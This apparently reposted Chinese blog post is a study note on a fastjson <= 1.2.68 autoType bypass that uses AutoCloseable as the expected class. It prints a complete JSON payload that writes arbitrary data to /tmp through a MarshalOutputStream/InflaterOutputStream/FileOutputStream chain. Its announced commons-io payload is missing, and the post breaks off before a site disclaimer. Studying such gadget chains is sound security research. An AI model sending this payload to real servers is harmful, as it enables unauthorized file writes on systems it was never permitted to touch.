Java fastjson <= 1.2.68 期望類AutoCloseable之commons-io 任意文件寫入


前言:要學的都放在這列好,等fastjosn的歷史線整理完了,再來學習這條鏈,這篇作為期望類AutoCloseable的利用

參考文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

1、學習commonis-io來實現無系統版本限制來進行任意文件寫入

2、解決為什么實戰中最初的payload會顯示default constructor not found.

3、進一步的了解fastjson的詞義解析器

回顧

首先,我們回顧下,基於期望類的AutoCloseable來繞過autoType的機制有什么條件:

1、首先需要一個基於AutoCloseable作為期望類的反序列化器作為開頭

2、后續解析的json字段,如果想要進行@type,@type對應的類想要是AutoCloseable的實現類

到這里,我們就分析好了,那么如果想要找到真正能利用的類,那么就需要是AutoCloseable的實現類,那么可以從哪里找?

1、原生類中的類實現了AutoCloseable的類

2、第三方jar包中實現了AutoCloseable的類

引子

payload:

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

實戰中我拿過這條payload進行利用,但是返回的都是如下的字符串:

default constructor not found. class sun.rmi.server.MarshalOutputStream

fastjson 在通過帶參構造函數進行反序列化時,會檢查參數是否有參數名,只有含有參數名的帶參構造函數才會被認可,但是這里就算是帶參數的話,最后返回構造參數的類型也是為空

原因如下:

fastjson 在通過帶參構造函數進行反序列化時,會檢查參數是否有參數名,只有含有參數名的帶參構造函數才會被認可

javap -l <class_name> | grep LocalVariableTable

第三方jar commons-io 2.x包

長亭的一個人就在commons-io依賴包中進行了挖掘,他找到了一個可以不受系統限制的任意寫文件的利用鏈

payload:



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM